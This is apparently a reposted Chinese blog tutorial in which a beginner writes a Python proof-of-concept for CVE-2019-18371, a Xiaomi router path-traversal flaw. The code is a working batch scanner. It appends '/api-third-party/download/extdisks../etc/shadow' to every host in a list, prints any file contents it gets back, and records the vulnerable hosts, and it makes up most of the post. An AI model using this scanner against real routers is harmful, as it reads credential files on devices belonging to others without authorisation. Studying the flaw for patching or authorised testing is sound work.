用Python写漏洞验证脚本的代码
作者:再也没有留恋的斜阳 发布时间:2023-09-04 05:38:36
标签:Python,验证,脚本
小白尝试写任意文件读取poc
我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。
我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看
小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。
写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
poc_check(poc_xiaomi)
图片如下
拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
# print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
try:
print("再也没有留恋的斜阳")
print("正在检测:")
print(poc_url)
poc_data=requests.get(poc_url)
if poc_data.status_code==200:
print(poc_data.content.decode('utf-8'))
with open(r'xiaomivuln.txt','a+') as f:
f.write(poc_url+'\n')
f.close()
except Exception as e:
time.sleep(0.1)
pass
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
# poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
poc_check(poc_xiaomi)
# poc_check(poc_xiaomi1)
写完了,我太水了的是照着别人写的
来源:https://blog.csdn.net/qq_46258964/article/details/122791108


猜你喜欢
- 安装:pip install wave在wav 模块中 ,主要介绍一种方法:getparams(),该方法返回的结果如下:_wave_par
- 前言:open()函数的定义:def open(file, mode='r', buffering=None, encodi
- 要达到如下目的:Mysql数据库会每隔一段时间(可以是2小时,也可以是一天,这个可以自定义),定时对一张库中的表做一个判断,如果这张表的数据
- webpack的loaders是一大特色,也是很重要的一部分。这遍博客我将分类讲解一些常用的laoder一、loaders之 预处理css-
- Mybatisd对sql表的一对多查询select * fromprojectrecord prleft join projects poo
- PDO::rollBackPDO::rollBack — 回滚一个事务(PHP 5 >= 5.1.0, PECL pdo >=
- 将ASCII字符转换为对应的数值即‘a'-->65,使用ord函数,ord('a')反之,使用chr函数,将数
- 描述微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站详细随IIS和Frontpage Extention server
- 本文实例讲述了Python实现简单求解给定整数的质因数算法。分享给大家供大家参考,具体如下:接着做题遇到求解质因数分解的问题,思想很简单,就
- 1.查询数据库当前进程的连接数: select count(*) from v$process; 2.查看数据库当前会话的连接数: elec
- 在asp里通过以下两个函数实现javascript里的escape函数和unescape函数
- 本文实例讲述了Python实现的径向基(RBF)神经网络。分享给大家供大家参考,具体如下:from numpy import array,
- 一、Jenkins 是什么?Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。二、准备工作安
- 前言:c3p0 是一个开源的数据库连接池,实现了 JDBC 3 规范;本文主要介绍 c3p0 的基本使用,文中使用到的软件版本:Java 1
- 一、求解方法、算法和编程方案线性规划 (Linear Programming,LP) 是很多数模培训讲的第一个算法,算法很简单,思想很深刻。
- 第一次用Python写这种比较实用且好玩的东西,权当练手吧游戏说明:* P键控制“暂停/开始”* 方向键控制贪吃蛇的方向源代码如下:from
- 构筑专业的网络站点和应用程序,先进的设计工具,功能强大,开放式集成系统;流畅的开发进程。Macromedia Dreamweaver MX
- Git 远程仓库Git 并不像 SVN 那样有个中心服务器。目前我们使用到的 Git 命令都是在本地执行,如果你想通过 Git 分享你的代码
- Sun周三宣布,准备以10亿美元收购MySQL开源数据库公司。据悉,Sun将支付大约8亿美元现金给MySQL,以获得其私募股票,另外,Sun
- ROW_NUMBER() OVER (PARTITION BY COL1 ORDER BY COL2) 表示根据COL1分组,在分组内部根据